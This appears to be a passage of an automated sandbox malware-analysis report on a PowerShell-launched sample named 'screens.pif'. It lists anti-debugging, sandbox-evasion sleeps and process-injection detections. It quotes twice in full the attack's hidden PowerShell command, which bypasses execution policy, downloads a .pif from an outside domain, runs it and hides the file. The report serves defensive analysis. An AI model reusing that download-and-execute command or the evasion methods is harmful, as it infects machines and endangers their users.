Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 2CB0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 2E70000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 2CB0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 5490000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 6490000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 65C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 75C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 7950000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 8950000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 9950000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: ABD0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: BBD0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: C060000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: D070000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 5490000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 65C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 7950000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 8950000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: 9950000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4443 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5362 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7992 Thread sleep time: -3689348814741908s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\screens.pif TID: 6328 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\screens.pif TID: 748 Thread sleep time: -1380000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Code function: 5_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW, 5_2_00403D74
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Thread delayed: delay time: 60000 Jump to behavior
Source: powershell.exe, 00000000.00000002.1542511922.000002783CF77000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWWi%SystemRoot%\system32\mswsock.dll\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows6
Source: powershell.exe, 00000000.00000002.1487508963.00000278268D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tEventVmNetworkAdapter',
Source: powershell.exe, 00000000.00000002.1487508963.00000278268D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 'Remove-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000000.00000002.1487508963.00000278268D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.cdxml',
Source: powershell.exe, 00000000.00000002.1487508963.00000278268D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Get-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000000.00000002.1487508963.0000027824EFA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000000.00000002.1487508963.0000027824EFA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000000.00000002.1487508963.00000278268D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Remove-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000000.00000002.1487508963.00000278268D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: +MSFT_NetEventVmNetworkAdatper.format.ps1xmlX
Source: powershell.exe, 00000000.00000002.1487508963.00000278268D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Add-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000000.00000002.1487508963.00000278268D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: #MSFT_NetEventVmNetworkAdatper.cdxmlX
Source: powershell.exe, 00000000.00000002.1487508963.00000278268D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 'Add-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000000.00000002.1487508963.00000278268D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 'Get-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000000.00000002.1487508963.0000027824EFA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000000.00000002.1487508963.00000278268D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.format.ps1xml',
Source: screens.pif, 00000005.00000002.2659632439.00000000013D8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\screens.pif Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Process queried: DebugPort Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\screens.pif Code function: 5_2_0040317B mov eax, dword ptr fs:[00000030h] 5_2_0040317B
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\screens.pif Code function: 5_2_00402B7C GetProcessHeap,RtlAllocateHeap, 5_2_00402B7C
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: amsi64_7360.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: powershell.exe PID: 7360, type: MEMORYSTR
Bypasses PowerShell execution policy
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe" -ExecutionPolicy Bypass -WindowStyle hiDDEn -HiDdEn -Command ddisplay.dll;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif','screens.pif');./'screens.pif';(get-item 'screens.pif').Attributes += 'Hidden';
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\screens.pif Memory written: C:\Users\user\Desktop\screens.pif base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\Desktop\screens.pif "C:\Users\user\Desktop\screens.pif" Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Process created: C:\Users\user\Desktop\screens.pif C:\Users\user\Desktop\screens.pif Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Process created: C:\Users\user\Desktop\screens.pif C:\Users\user\Desktop\screens.pif Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Process created: C:\Users\user\Desktop\screens.pif C:\Users\user\Desktop\screens.pif Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy bypass -windowstyle hidden -hidden -command ddisplay.dll;(new-object system.net.webclient).downloadfile('https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbafrawyegfyaugeygywefafaer/nezfdio.pif','screens.pif');./'screens.pif';(get-item 'screens.pif').attributes += 'hidden';
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
